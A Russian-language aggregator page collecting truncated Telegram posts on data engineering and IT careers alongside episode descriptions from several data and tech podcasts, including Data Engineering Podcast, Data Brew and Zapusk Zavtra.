🥸 короткий и дельный совет от Игоря Мосягина — добавлять эмоджи в отладочные логи, чтобы было заметнее это из доклада на конференции SmarData — там сегодня community day, можно посмотреть доклады бесплатно 👀

1 месяц, 2 недели назад @ t.me
Каюты с муми-троллямиПокупал билеты на паром для семьи. При бронировании можно было выбрать простую каюту или каюту с рисунками с муми-троллями. Ну, думаю, сын оценит рисунки, будет как-то повеселее, тем более цена за каюты одинаковая.По факту оказалось, ч
Каюты с муми-троллямиПокупал билеты на паром для семьи. При бронировании можно было выбрать простую каюту или каюту с рисунками с муми-троллями. Ну, думаю, сын оценит рисунки, будет как-то повеселее, тем более цена за каюты одинаковая.По факту оказалось, ч Каюты с муми-троллямиПокупал билеты на паром для семьи. При бронировании можно было выбрать простую каюту или каюту с рисунками с муми-троллями. Ну, думаю, сын оценит рисунки, будет как-то повеселее, тем более цена за каюты одинаковая.По факту оказалось, ч

Каюты с муми-троллямиПокупал билеты на паром для семьи. При бронировании можно было выбрать простую каюту или каюту с рисунками с муми-троллями. Ну, думаю, сын оценит рисунки, будет как-то повеселее, тем более цена за каюты одинаковая.По факту оказалось, что у кают и расположение похуже, и общее состояние можно описать как «пошарпанное». У нас, как клиентов, опыт использования обычной каюты оказался лучше, чем «особенной» — кажется, это не тот результат, на который рассчитывали.Пока плыли, пришёл к тому что фичу с тематической каютой неправильно зарелизили в прод!Допустим, на корабле обычных кают такого класса 1000, из них 10 с муми-троллями. При этом заполняемость парома не 100% (в непиков…

1 месяц, 2 недели назад @ t.me
Есть ли смысл переезжать? — Senior Software Vlogger Посмотрел ёмкий ролик про релокацию айтишника в другую страну. Записал себе такие пункты: • Для переезда нужно большая сумма: 5-10К $ • Снять жилье — как неместного попросят предоплату за 1-3 месяца • Эко
Есть ли смысл переезжать? — Senior Software Vlogger Посмотрел ёмкий ролик про релокацию айтишника в другую страну. Записал себе такие пункты: • Для переезда нужно большая сумма: 5-10К $ • Снять жилье — как неместного попросят предоплату за 1-3 месяца • Эко

Есть ли смысл переезжать? — Senior Software Vlogger Посмотрел ёмкий ролик про релокацию айтишника в другую страну. Записал себе такие пункты: • Для переезда нужно большая сумма: 5-10К $ • Снять жилье — как неместного попросят предоплату за 1-3 месяца • Экономить не получится — местные-то знают где что и как, а вы — пока нет • Две средних зарплаты — больше чем одна синьорская. Сколько членов вашей семьи будет работать? Если на текущем месте работают двое, а будет только один — это точно будет даунгрейд • Внимательно выбирать страну по набору критериев (учитывая их динамичность)https://www.youtube.com/watch?v=Xh5kzxvONtwЭто был «нулевой» урок из курса «Вы приняты», который Дима делает совмест…

1 месяц, 2 недели назад @ t.me
Английский в вакууме не котируетсяКогда искал первую работу, думал что могу просить больше просто за тот факт, что знаю английский. Типа как при покупке техники в магазине: набираешь разных опций и за каждую общая цена увеличивается на сколько-то.Поработав
Английский в вакууме не котируетсяКогда искал первую работу, думал что могу просить больше просто за тот факт, что знаю английский. Типа как при покупке техники в магазине: набираешь разных опций и за каждую общая цена увеличивается на сколько-то.Поработав

Английский в вакууме не котируетсяКогда искал первую работу, думал что могу просить больше просто за тот факт, что знаю английский. Типа как при покупке техники в магазине: набираешь разных опций и за каждую общая цена увеличивается на сколько-то.Поработав какое-то время, понял, что за всё время никто меня так и не попросил поговорить по английски или прочитать что-то. Так это не работает.Просто так складывается, что всё самое новое и интересное в отрасли сначала публикуется на английском. Если интересна отрасль, то идешь и изучаешь.То есть я думал, что связь прямая:английский → больше зараплатаА на самом деле она косвенная:английский → изучаешь новое в первоисточниках → применяешь на практ…

1 месяц, 3 недели назад @ t.me
подкаст Data Heroes о релокейте и переезде в другую странуПослушал два выпуска на схожие темы. Интересно, что они были записанных ещё весной, а до сих пор актуальны (тут мой внутренний мастер экстраполяций хочет сделать однозначный и долгосрочный прогноз).
подкаст Data Heroes о релокейте и переезде в другую странуПослушал два выпуска на схожие темы. Интересно, что они были записанных ещё весной, а до сих пор актуальны (тут мой внутренний мастер экстраполяций хочет сделать однозначный и долгосрочный прогноз).

подкаст Data Heroes о релокейте и переезде в другую странуПослушал два выпуска на схожие темы. Интересно, что они были записанных ещё весной, а до сих пор актуальны (тут мой внутренний мастер экстраполяций хочет сделать однозначный и долгосрочный прогноз).Кажется, что рванули те, у кого были физические симптомы на окружающую действительность и/или те, кто уже давно обдумывал потенциальную поездку.Уехавшие сталкиваются со сложностями во всём: ⁃ найти жильё по приемлемой цене ⁃ перевести рубли в местные деньги ⁃ привыкнуть к другому уровеню жизни и сервисаЦены на жильё подскочили из-за возвросшего спроса (где-то звучат оценки типа в 3-5 раз).Карты российских банков не принимают зарубежом, поэ…

1 месяц, 3 недели назад @ t.me
Данные как продуктНа прошлом Матемаркетинге был доклад типа «как научить всех SQL», чтобы разгрузить дата-инженеров от выгрузок а-ля select * from table в эксель.Представьте ситуацию, когда все вокруг действительно знают SQL (и иногда даже лучше инженеров
Данные как продуктНа прошлом Матемаркетинге был доклад типа «как научить всех SQL», чтобы разгрузить дата-инженеров от выгрузок а-ля select * from table в эксель.Представьте ситуацию, когда все вокруг действительно знают SQL (и иногда даже лучше инженеров

Данные как продуктНа прошлом Матемаркетинге был доклад типа «как научить всех SQL», чтобы разгрузить дата-инженеров от выгрузок а-ля select * from table в эксель.Представьте ситуацию, когда все вокруг действительно знают SQL (и иногда даже лучше инженеров).Добавьте к этому SQL-диалект, где можно задавать переменные и писать кастомные функции.Плюс общедоступные запускаторы кастомных скриптов с низким порогов входа (всё настраивается через кубики в веб-админке).И мы получаем глобальную песочницу, где стопицот аналитиков и менеджеров создали over 9000 выгрузок, таблиц и витрин, где потом сами считают нужные показатели с нужными разрезами к нужному часу.Мы тут это называем «теневым» DWH.И получ…

2 месяца, 3 недели назад @ t.me
Про отношения с источникамиРабота с источниками — это не только написать пайплайн, который забирает данные.Иногда перед экстрактом надо доработать схему данных на источнике: например, добавить created_ts/updated_ts или проставлять флаг удаления вместо бесс
Про отношения с источникамиРабота с источниками — это не только написать пайплайн, который забирает данные.Иногда перед экстрактом надо доработать схему данных на источнике: например, добавить created_ts/updated_ts или проставлять флаг удаления вместо бесс

Про отношения с источникамиРабота с источниками — это не только написать пайплайн, который забирает данные.Иногда перед экстрактом надо доработать схему данных на источнике: например, добавить created_ts/updated_ts или проставлять флаг удаления вместо бесследного уничтожения строки.И даже после того как пайплайн написан и поставлен на регулярный запуск тоже есть задачи: например, добиться, чтобы схема данных не менялась неожиданно. Для разработчиков на источнике тоже может быть новостью, что их данными теперь пользуется кто-то чужой, что эти данные больше не их единоличная собственность и теперь на них завязаны внешние процессы.Колонки в схеме могут поменять название или даже содержимое, по…

3 месяца назад @ t.me
Послушать: советы по ML Ops из Moscow Python сами по себе МЛ-модели — это малая доля работы всего этого вашего машин-лёрнинга. До этого надо ещё собрать данные, их почистить и подготовить (ну вы знаете); обучить модель «на коленке», а потом переписать э
Послушать: советы по ML Ops из Moscow Python сами по себе МЛ-модели — это малая доля работы всего этого вашего машин-лёрнинга. До этого надо ещё собрать данные, их почистить и подготовить (ну вы знаете); обучить модель «на коленке», а потом переписать э

Послушать: советы по ML Ops из Moscow Python сами по себе МЛ-модели — это малая доля работы всего этого вашего машин-лёрнинга. До этого надо ещё собрать данные, их почистить и подготовить (ну вы знаете); обучить модель «на коленке», а потом переписать этот…

3 месяца назад @ t.me
Уровни аналитиков Женя Козлов описал опыт Яндекса по формализации грейдов для аналитиков. Написано очень чётко, можно использовать как шпаргалку для команд или личного развития. Понравилось чёткое разделение каждого грейда в разрезе подхода к задачам (ме
Уровни аналитиков  Женя Козлов описал опыт Яндекса по формализации грейдов для аналитиков. Написано очень чётко, можно использовать как шпаргалку для команд или личного развития.  Понравилось чёткое разделение каждого грейда в разрезе подхода к задачам (ме Уровни аналитиков Женя Козлов описал опыт Яндекса по формализации грейдов для аналитиков. Написано очень чётко, можно использовать как шпаргалку для команд или личного развития. Понравилось чёткое разделение каждого грейда в разрезе подхода к задачам (ме

Уровни аналитиков Женя Козлов описал опыт Яндекса по формализации грейдов для аналитиков. Написано очень чётко, можно использовать как шпаргалку для команд или личного развития. Понравилось чёткое разделение каждого грейда в разрезе подхода к задачам (мелко…

3 месяца, 1 неделя назад @ t.me
Reversed Orchestration Ben Stancil в очередном выпуске свой рассылки рассуждает о недостатках текущего подхода к оркестрации как цепочек зависимых тасков, начиная от входных слоёв и заканчивая витринами. https://benn.substack.com/p/down-with-the-dag Од
Reversed Orchestration Ben Stancil в очередном выпуске свой рассылки рассуждает о недостатках текущего подхода к оркестрации как цепочек зависимых тасков, начиная от входных слоёв и заканчивая витринами. https://benn.substack.com/p/down-with-the-dag Од

Reversed Orchestration Ben Stancil в очередном выпуске свой рассылки рассуждает о недостатках текущего подхода к оркестрации как цепочек зависимых тасков, начиная от входных слоёв и заканчивая витринами. https://benn.substack.com/p/down-with-the-dag Одна…

3 месяца, 2 недели назад @ t.me
Reversed OrchestrationBen Stancil в очередном выпуске свой рассылки рассуждает о недостатках текущего подхода к оркестрации как цепочек зависимых тасков, начиная от входных слоёв и заканчивая витринами. https://benn.substack.com/p/down-with-the-dagОдна из
Reversed OrchestrationBen Stancil в очередном выпуске свой рассылки рассуждает о недостатках текущего подхода к оркестрации как цепочек зависимых тасков, начиная от входных слоёв и заканчивая витринами. https://benn.substack.com/p/down-with-the-dagОдна из

Reversed OrchestrationBen Stancil в очередном выпуске свой рассылки рассуждает о недостатках текущего подхода к оркестрации как цепочек зависимых тасков, начиная от входных слоёв и заканчивая витринами. https://benn.substack.com/p/down-with-the-dagОдна из проблем — в увеличивающимся количестве графов, тасков и сущностей:> In 2022, data engineers manage forests, not trees В качестве демонстрации несовершенства подхода он предлагает попробовать спроектировать терминал аэропорта принципам как цепочку задач, выстраивая одну за другой последовательно. В аэропорт входят люди → вызываем сотрудников на стойку регистрации → 100 человек собирается у гейта → подкатываем самолёт и грузим багаж → все по…

3 месяца, 2 недели назад @ t.me
под капотом Яндекс.Такси под капотом Яндекс.Такси
последний пост None
🎧 Podcasts
Data Engineering Podcast Data Engineering Podcast
последний пост 3 дня, 15 часов назад
Supporting And Expanding The Arrow Ecosystem For Fast And Efficient Data Processing At Voltron Data
Supporting And Expanding The Arrow Ecosystem For Fast And Efficient Data Processing At Voltron Data

The data ecosystem has been growing rapidly, with new communities joining and bringing their preferred programming languages to the mix. This has led to inefficiencies in how data is stored, accessed, and shared across process and system boundaries. The Arrow project is designed to eliminate wasted effort in translating between languages, and Voltron Data was created to help grow and support its technology and community. In this episode Wes McKinney shares the ways that Arrow and its related projects are improving the efficiency of data systems and driving their next stage of evolution.

3 дня, 15 часов назад @ dataengineeringpodcast.com
Analyze Massive Data At Interactive Speeds With The Power Of Bitmaps Using FeatureBase
Analyze Massive Data At Interactive Speeds With The Power Of Bitmaps Using FeatureBase

The most expensive part of working with massive data sets is the work of retrieving and processing the files that contain the raw information. FeatureBase (formerly Pilosa) avoids that overhead by converting the data into bitmaps. In this episode Matt Jaffee explains how to model your data as bitmaps and the benefits that this representation provides for fast aggregate computation. He also discusses the improvements that have been incorporated into FeatureBase to simplify integration with the rest of your data stack, and the SQL interface that was added to make working with the product easier.

3 дня, 15 часов назад @ dataengineeringpodcast.com
A Look At The Data Systems Behind The Gameplay For League Of Legends
A Look At The Data Systems Behind The Gameplay For League Of Legends

The majority of blog posts and presentations about data engineering and analytics assume that the consumers of those efforts are internal business users accessing an environment controlled by the business. In this episode Ian Schweer shares his experiences at Riot Games supporting player-focused features such as machine learning models and recommeder systems that are deployed as part of the game binary. He explains the constraints that he and his team are faced with and the various challenges that they have overcome to build useful data products on top of a legacy platform where they don't control the end-to-end systems.

1 неделя, 3 дня назад @ dataengineeringpodcast.com
Tame The Entropy In Your Data Stack And Prevent Failures With Sifflet
Tame The Entropy In Your Data Stack And Prevent Failures With Sifflet

The problems that are easiest to fix are the ones that you prevent from happening in the first place. Sifflet is a platform that brings your entire data stack into focus to improve the reliability of your data assets and empower collaboration across your teams. In this episode CEO and founder Salma Bakouk shares her views on the causes and impacts of "data entropy" and how you can tame it before it leads to failures.

1 неделя, 3 дня назад @ dataengineeringpodcast.com
Build Data Products Without A Data Team Using AgileData
Build Data Products Without A Data Team Using AgileData

Building data products is an undertaking that has historically required substantial investments of time and talent. With the rise in cloud platforms and self-serve data technologies the barrier of entry is dropping. Shane Gibson co-founded AgileData to make analytics accessible to companies of all sizes. In this episode he explains the design of the platform and how it builds on agile development principles to help you focus on delivering value.

2 недели, 3 дня назад @ dataengineeringpodcast.com
Taking A Look Under The Hood At CreditKarma's Data Platform
Taking A Look Under The Hood At CreditKarma's Data Platform

CreditKarma builds data products that help consumers take advantage of their credit and financial capabilities. To make that possible they need a reliable data platform that empowers all of the organization's stakeholders. In this episode Vishnu Venkataraman shares the journey that he and his team have taken to build and evolve their systems and improve the product offerings that they are able to support.

2 недели, 3 дня назад @ dataengineeringpodcast.com
Build Better Data Products By Creating Data, Not Consuming It
Build Better Data Products By Creating Data, Not Consuming It

A lot of the work that goes into data engineering is trying to make sense of the "data exhaust" from other applications and services. There is an undeniable amount of value and utility in that information, but it also introduces significant cost and time requirements. In this episode Nick King discusses how you can be intentional about data creation in your applications and services to reduce the friction and errors involved in building data products and ML applications. He also describes the considerations involved in bringing behavioral data into your systems, and the ways that he and the rest of the Snowplow team are working to make that an easy addition to your platforms.

3 недели, 3 дня назад @ dataengineeringpodcast.com
Clean Up Your Data Using Scalable Entity Resolution And Data Mastering With Zingg
Clean Up Your Data Using Scalable Entity Resolution And Data Mastering With Zingg

Despite the best efforts of data engineers, data is as messy as the real world. Entity resolution and fuzzy matching are powerful utilities for cleaning up data from disconnected sources, but it has typically required custom development and training machine learning models. Sonal Goyal created and open-sourced Zingg as a generalized tool for data mastering and entity resolution to reduce the effort involved in adopting those practices. In this episode she shares the story behind the project, the details of how it is implemented, and how you can use it for your own data projects.

3 недели, 3 дня назад @ dataengineeringpodcast.com
Expanding The Reach of Business Intelligence Through Ubiquitous Embedded Analytics With Sisense
Expanding The Reach of Business Intelligence Through Ubiquitous Embedded Analytics With Sisense

Business intelligence has grown beyond its initial manifestation as dashboards and reports. In its current incarnation it has become a ubiquitous need for analytics and opportunities to answer questions with data. In this episode Amir Orad discusses the Sisense platform and how it facilitates the embedding of analytics and data insights in every aspect of organizational and end-user experiences.

1 месяц назад @ dataengineeringpodcast.com
Analytics Engineering Without The Friction Of Complex Pipeline Development With Optimus and dbt
Analytics Engineering Without The Friction Of Complex Pipeline Development With Optimus and dbt

One of the most impactful technologies for data analytics in recent years has been dbt. It's hard to have a conversation about data engineering or analysis without mentioning it. Despite its widespread adoption there are still rough edges in its workflow that cause friction for data analysts. To help simplify the adoption and management of dbt projects Nandam Karthik helped create Optimus. In this episode he shares his experiences working with organizations to adopt analytics engineering patterns and the ways that Optimus and dbt were combined to let data analysts deliver insights without the roadblocks of complex pipeline management.

1 месяц назад @ dataengineeringpodcast.com
How To Bring Agile Practices To Your Data Projects
How To Bring Agile Practices To Your Data Projects

Agile methodologies have been adopted by a majority of teams for building software applications. Applying those same practices to data can prove challenging due to the number of systems that need to be included to implement a complete feature. In this episode Shane Gibson shares practical advice and insights from his years of experience as a consultant and engineer working in data about how to adopt agile principles in your data work so that you can move faster and provide more value to the business, while building systems that are maintainable and adaptable.

1 месяц, 1 неделя назад @ dataengineeringpodcast.com
Going From Transactional To Analytical And Self-managed To Cloud On One Database With MariaDB
Going From Transactional To Analytical And Self-managed To Cloud On One Database With MariaDB

The database market has seen unprecedented activity in recent years, with new options addressing a variety of needs being introduced on a nearly constant basis. Despite that, there are a handful of databases that continue to be adopted due to their proven reliability and robust features. MariaDB is one of those default options that has continued to grow and innovate while offering a familiar and stable experience. In this episode field CTO Manjot Singh shares his experiences as an early user of MySQL and MariaDB and explains how the suite of products being built on top of the open source foundation address the growing needs for advanced storage and analytical capabilities.

1 месяц, 1 неделя назад @ dataengineeringpodcast.com
Speeding Up The Time To Insight For Supply Chains And Logistics With The Pathway Database That Thinks
Speeding Up The Time To Insight For Supply Chains And Logistics With The Pathway Database That Thinks

Logistics and supply chains are under increased stress and scrutiny in recent years. In order to stay ahead of customer demands, businesses need to be able to react quickly and intelligently to changes, which requires fast and accurate insights into their operations. Pathway is a streaming database engine that embeds artificial intelligence into the storage, with functionality designed to support the spatiotemporal data that is crucial for shipping and logistics. In this episode Adrian Kosowski explains how the Pathway product got started, how its design simplifies the creation of data products that support supply chain operations, and how developers can help to build an ecosystem of applic…

1 месяц, 2 недели назад @ dataengineeringpodcast.com
An Exploration Of The Open Data Lakehouse And Dremio's Contribution To The Ecosystem
An Exploration Of The Open Data Lakehouse And Dremio's Contribution To The Ecosystem

The "lakehouse" architecture balances the scalability and flexibility of data lakes with the ease of use and transaction support of data warehouses. Dremio is one of the companies leading the development of products and services that support the open lakehouse. In this episode Jason Hughes explains what it means for a lakehouse to be "open" and describes the different components that the Dremio team build and contribute to.

1 месяц, 2 недели назад @ dataengineeringpodcast.com
Making The Open Data Lakehouse Affordable Without The Overhead At Iomete
Making The Open Data Lakehouse Affordable Without The Overhead At Iomete

The core of any data platform is the centralized storage and processing layer. For many that is a data warehouse, but in order to support a diverse and constantly changing set of uses and technologies the data lakehouse is a paradigm that offers a useful balance of scale and cost, with performance and ease of use. In order to make the data lakehouse available to a wider audience the team at Iomete built an all-in-one service that handles management and integration of the various technologies so that you can worry about answering important business questions. In this episode Vusal Dadalov explains how the platform is implemented, the motivation for a truly open architecture, and how they hav…

1 месяц, 3 недели назад @ dataengineeringpodcast.com
Data Brew by Databricks
последний пост 5 месяцев, 3 недели назад
Season 4E6: Professional Athletes
Season 4E6: Professional Athletes

For our fourth season, we focus on connected health and how data & AI augment and improve our daily health. While we’re at it, we’ll be enjoying our morning brew.Shayna Powless and Eli Ankou, professional cyclist for L39ion of Los Angeles and defensive tackle for the Buffalo Bills, respectively, provide valuable insight on how professional athletes leverage data to improve their performance and how they combine their passion for sports with the Dreamcatcher Foundation.See more at databricks.com/data-brew

5 месяцев, 3 недели назад @ buzzsprout.com
Season 4E5: Public Health: Education, Access, and Policy
Season 4E5: Public Health: Education, Access, and Policy

For our fourth season, we focus on connected health and how data & AI augment and improve our daily health. While we’re at it, we’ll be enjoying our morning brew.Matt Willis, Marin County Public Health Officer, shares the three pillars of public health: education, access, and policy, and the critical role data plays in addressing the COVID-19 pandemic & opioid epidemic. See more at databricks.com/data-brew

6 месяцев, 4 недели назад @ buzzsprout.com
Season 4E4: 1283 Days of Running (and Counting)
Season 4E4: 1283 Days of Running (and Counting)

For our fourth season, we focus on connected health and how data & AI augment and improve our daily health. While we’re at it, we’ll be enjoying our morning brew.Running the length of the US every year, Alexandra Matthiesen shares her motivational secrets for running 1,283 consecutive days (and counting!) and redefining physical and mental limits. See more at databricks.com/data-brew

7 месяцев, 2 недели назад @ buzzsprout.com
Last Man Standing
Last Man Standing

For our fourth season, we focus on connected health and how data & AI augment and improve our daily health. While we’re at it, we’ll be enjoying our morning brew.Winner of the infamous Last Man Standing race (running 246 miles in 59 hours), Guillaume merges the world of competitive long-distance running with data science to push the boundaries of body and mind. See more at databricks.com/data-brew

8 месяцев назад @ buzzsprout.com
Season 4E2: NBA Analytics
Season 4E2: NBA Analytics

For our fourth season, we focus on connected health and how data & AI augment and improve our daily health. While we’re at it, we’ll be enjoying our morning brew.Alexander Powell chronicles the evolution of sports analytics and how professional sports teams use data as a competitive advantage. See more at databricks.com/data-brew

8 месяцев, 3 недели назад @ buzzsprout.com
Season 4E1: Reducing Injury & Increasing Retention of Industrial Athletes
Season 4E1: Reducing Injury & Increasing Retention of Industrial Athletes

For our fourth season, we focus on connected health and how data & AI augment and improve our daily health. While we’re at it, we’ll be enjoying our morning brew.Globally, 38,000 people get hurt on the job every hour. In the United States alone, over $250 billion dollars is spent on workplace injury annually. Sean Petterson, founder and CEO of StrongArm Tech, discusses the role of wearable devices to reduce workplace injury and increase retention of industrial athletes. See more at databricks.com/data-brew

9 месяцев, 1 неделя назад @ buzzsprout.com
«Ничего такого» by Dodo Enginnering
последний пост None
Запуск завтра Podcast Запуск завтра Podcast
последний пост 5 часов назад
От определения цены на молоко до распознавания лиц. Как дата-сайентисты меняют повседневную жизнь
От определения цены на молоко до распознавания лиц. Как дата-сайентисты меняют повседневную жизнь От определения цены на молоко до распознавания лиц. Как дата-сайентисты меняют повседневную жизнь

В этом эпизоде мы снова говорим о данных и о том, что с ними можно сделать. Раньше машина не всегда могла отличить коня от человека, а теперь мы доверяем ей в определении оптимальной цены в магазинах, поимке кибер-преступников и даже этических вопросах. Как индустрия прошла этот путь — разбираемся с Валерием Бабушкиным, экспертом по Data Science в компании BlockChain. Реклама. Курсы от Яндекс Практикума по программированию с нуля: https://clck.ru/32nsqX Ссылки: Телеграм-канал Валеры: https://t.me/cryptovalerii Сайт Алексея Чернобровова: https://chernobrovov.ru/ Лекции от сообщества Open Data Science: https://www.youtube.com/@OpenDataScienceCon Подписаться на «Запуск++» в Телеграме: https://…

5 часов назад @ zapuskzavtra.libsyn.com
Как нейросети находят опухоли и помогают патологоанатомам
Как нейросети находят опухоли и помогают патологоанатомам Как нейросети находят опухоли и помогают патологоанатомам

Раньше врачи искали отклонения в клетках и тканях человека с помощью микроскопа. Сейчас в медицину проникают высокие технологии — компьютерное зрение и искусственный интеллект. В этом эпизоде врач-патологоанатом Артем Борбат рассказывает, как сканеры в лабораториях помогают получить диагноз в разы быстрее, а модели из миллиона клеток находят несколько больных. Реклама. Пройдите бесплатную часть курса до 30 ноября и получите 20% скидку на дальнейшее обучение от Яндекс Практикума. Промокод работает при определенных формах оплаты. Подробности по ссылке: https://clck.ru/32gxUZ Курсы MIT по медицинской инженерии: https://ocw.mit.edu/courses/6-s897-machine-learning-for-healthcare-spring-2019/ htt…

1 неделя назад @ zapuskzavtra.libsyn.com
Больше 15 лет в яндексе, а потом — в ставки на спорт. Как Григорий Бакунов перешел в украинское IT
Больше 15 лет в яндексе, а потом — в ставки на спорт. Как Григорий Бакунов перешел в украинское IT Больше 15 лет в яндексе, а потом — в ставки на спорт. Как Григорий Бакунов перешел в украинское IT

Бакунов был одним из самых публичных айтишников в России, а потом променял успешную корпоративную карьеру на стартапы в Киеве. В этом эпизоде Гриша (или Bobuk, как знают его многие технари) рассказывает, каким стал Яндекс после Ильи Сегаловича, почему он выбрал гэмблинг как следующую работу и как меняется украинская IT-тусовка. Подкаст Радио-Т: https://radio-t.com Telegram-канал Гриши: https://t.me/addmeto Подписаться на «Запуск++» в Телеграме: https://t.me/+N_AopnXC0dBkMGQy Подписаться на Либо/Либо+ в Телеграме, куда включены эпизоды «Запуск++»: https://t.me/+LXZx5JRqO4o0MjJi Чат Запуска в телеграме: https://t.me/zapuskzavtra Связаться: [email protected] Редакторка — Маша Агличева; Пр…

2 недели назад @ zapuskzavtra.libsyn.com
Без одной голландской компании у вас бы не было IPhone. Как устроено производство самых современных чипов
Без одной голландской компании у вас бы не было IPhone. Как устроено производство самых современных чипов Без одной голландской компании у вас бы не было IPhone. Как устроено производство самых современных чипов

Когда-то компьютеры занимали целую комнату и весили тонны, а теперь в маленьком чипе вашего смартфона умещается та же вычислительная мощность. Происходит это благодаря одному предприятию, которое делает уникальное литографическое оборудование — компании ASML. Из этого эпизода вы узнаете, как современный процессор с миллиардом транзисторов связан с парящими платформами, таблицей Менделеева и Властелином колец, а расскажет об этом Диана Гришина, работавшая в ASML. Реклама. Ссылка на курсы для опытных разработчиков от Яндекс Практикума: https://clck.ru/32bXgv Ссылки: Сайт ASML: https://www.asml.com/en Инженеры на заводе ASML и «чистая комната»: https://www.youtube.com/watch?v=XxhCxf_QtGw Подпи…

3 недели назад @ zapuskzavtra.libsyn.com
Математические модели, роботы-сортировщики и собственный софт. Как IT изменило Почту России
Математические модели, роботы-сортировщики и собственный софт. Как IT изменило Почту России Математические модели, роботы-сортировщики и собственный софт. Как IT изменило Почту России

Очереди в отделениях, потерянные посылки, бесконечное заполнение бумажек — многие помнят взаимодействие с почтой таким. Теперь забрать или отправить посылку можно за несколько минут, появилось приложение с удобным интерфейсом, а программисты рассчитывают оптимальную скорость движения конвертов на сортирочных конвейерах (да). Про то, как компания с репутацией слоупока встала на рельсы цифровизации и какие безумные технические задачи решает, рассказывает Николай Кныш, технический директор Почтатеха, цифрового отделения Почты России. Реклама. Ссылка на буткемпы Яндекс Практикума — интенсивные курсы, на которых можно быстро освоить профессию: https://clck.ru/32WwxB Подписаться на «Запуск++» в Т…

4 недели назад @ zapuskzavtra.libsyn.com
От ЗАГСов до всех телефонов на Android. Как Linux стал использоваться везде
От ЗАГСов до всех телефонов на Android. Как Linux стал использоваться везде От ЗАГСов до всех телефонов на Android. Как Linux стал использоваться везде

В 1991 году Линус Торвальдс учился в университете и захотел исправить недочеты в учебной операционке. Так появилось ядро Linux. Спустя 30 лет Linux насчитывает миллиарды пользователей, и почти все устройства, которые нас окружают, используют разработку Торвальдса под капотом. Разбираемся, как Linux прошел этот путь вместе с Георгием Курячим, разработчиком российского дистрибутива Linux. Реклама. Бесплатный курс по подготовке к алгоритмическому собеседованию от Яндекс Практикума: https://clck.ru/32S23E Сcылки YouTube-канал записей лекций Георгия: https://www.youtube.com/channel/UC6m3WI2mgZLj3LgNYWQNH6g Сайт UNИX: https://uneex.org/MainPage/ Сайт сообщества ALT Linux Team: https://www.altlinu…

1 месяц назад @ zapuskzavtra.libsyn.com
«Хочу передать свободу и наивность». Как на нас влияют шрифты
«Хочу передать свободу и наивность». Как на нас влияют шрифты «Хочу передать свободу и наивность». Как на нас влияют шрифты

Шрифтов сотни тысяч, а по-настоящему популярны из них, может быть, десяток. При этом продолжают появляться всё новые антиквы и гротески, дизайнеры тратят годы на доведение начертаний до идеала, а крупные компании инвестируют миллионы долларов в собственные шрифты. В этом эпизоде Илья Рудерман, шрифтовой дизайнер и сооснователь Type.Today и CSTM Fonts рассказывает, зачем нужно это многообразие, какой шрифт считать хорошим и почему шрифтовики — тоже немного программисты. Реклама. Курсы по программированию с нуля от Яндекс Практикума: https://clck.ru/32PJj9 Ссылки из эпизода: Сайт Type.today https://type.today/ru Шрифт lurk для Юрия Дудя https://type.today/ru/collection/lurk DrawBot https://ww…

1 месяц, 1 неделя назад @ zapuskzavtra.libsyn.com
Как стать продакт-менеджером в IT
Как стать продакт-менеджером в IT Как стать продакт-менеджером в IT

В этом эпизоде продакт-менеджер Аня Булдакова рассказывает, как устроена ее работа. Выясняем, каких кандидатов ищут в FAANG, как отличалась позиция продакта в Facebook и Яндекс и сколько зарабатывают эти специалисты. Дока — дружелюбный опенсорсный справочник по веб-разработке: https://doka.guide/?utm_source=pr&utm_medium=podcast&utm_campaign=pr_podcast_zapusk-zavtra&utm_content=13oktober Рекомендации от Ани: Список полезных книг: https://nfng.pro/books/ Исследования Gartner по product management: https://www.gartner.com/en/product-management/research/all-research Книга «Inspired: How to create tech products customers love», автор Marty Cagan Книга «Web Scalability for Startup Engineers», ав…

1 месяц, 2 недели назад @ zapuskzavtra.libsyn.com
Stack Overflow. Ответ на любой вопрос по программированию
Stack Overflow. Ответ на любой вопрос по программированию Stack Overflow. Ответ на любой вопрос по программированию

Если вы программист, то скорее всего пользовались Stack Overflow для работы. Энтузиасты сайта уже ответили на миллионы прикладных вопросов, чтобы программисты не мучались с поиском решения по всему интернету. А ещё активным пользователям с прокачанными профилями постоянно пишут рекрутеры и предлагают работу. В этом эпизоде сотрудник компании Николай Чабановский рассказал Самату, как задавать хорошие вопросы и подняться в рейтинге на сайте, чтобы получить себе классную строчку в резюме. Реклама. Бесплатный курс по основам Go от Яндекс Практикума. Для тех, кто уже знаком с основами бэкенд-разработки: https://clck.ru/32CvGj Ссылки: Основной сайт Stack Overflow: https://stackoverflow.com/ Сайт …

1 месяц, 3 недели назад @ zapuskzavtra.libsyn.com
Kotlin. Как разработка из Питера покорила Google
Kotlin. Как разработка из Питера покорила Google Kotlin. Как разработка из Питера покорила Google

В 2010 году энтузиасты из компании JetBrains решили сделать собственный язык программирования. Тысячи человек следили за его созданием и ждали релиза, а через 7 лет Google объявил Kotlin официальным языком для платформы Android. О том, как ребята прошли этот путь, в этом эпизоде рассказывает сам Андрей Бреслав — ex-руководитель Kotlin. Реклама. Попробовать бесплатную часть курсов по мобильной iOS и Android-разработке от Яндекс Практикума: https://clck.ru/32A8ef Подкаст «CTRL SHIFT!» от студии Либо/Либо: https://podcast.ru/1635964055 Ссылки из эпизода: Сайт языка: https://kotlinlang.org «Книга дракона»: Compilers: Principles, Techniques, and Tools. Alfred V. Aho, Monica S. Lam, Ravi Sethi, a…

2 месяца назад @ zapuskzavtra.libsyn.com
Как не сесть за блокчейн? Разбираемся в киберправе
Как не сесть за блокчейн? Разбираемся в киберправе Как не сесть за блокчейн? Разбираемся в киберправе

«Запуск завтра» возвращается с восьмым сезоном! В первом эпизоде Самат разбирается в цифровом праве вместе с киберадвокатом Саркисом Дарбиняном. За что судят Tornado Cash? Нужно ли платить налоги на криптовалюту? Законно ли пользоваться VPN и Tor? Что делать, если у меня украли аккаунт в инстаграме? Задаем волнующие вопросы человеку, защищающему права пользователей в интернете. Бесплатный курс по профориентации в программировании от Яндекс Практикума: https://clck.ru/323qTh Ссылки из эпизода: Мониторинг преследования граждан за онлайн-публикации: https://blackscreen.report Сайт Роскомсвободы: https://roskomsvoboda.org Сайт Digital Rights Center: https://drc.law Киберправовая школа: https://…

2 месяца, 1 неделя назад @ zapuskzavtra.libsyn.com
A/B тесты. Чем полезны продуктовые эксперименты
A/B тесты. Чем полезны продуктовые эксперименты A/B тесты. Чем полезны продуктовые эксперименты

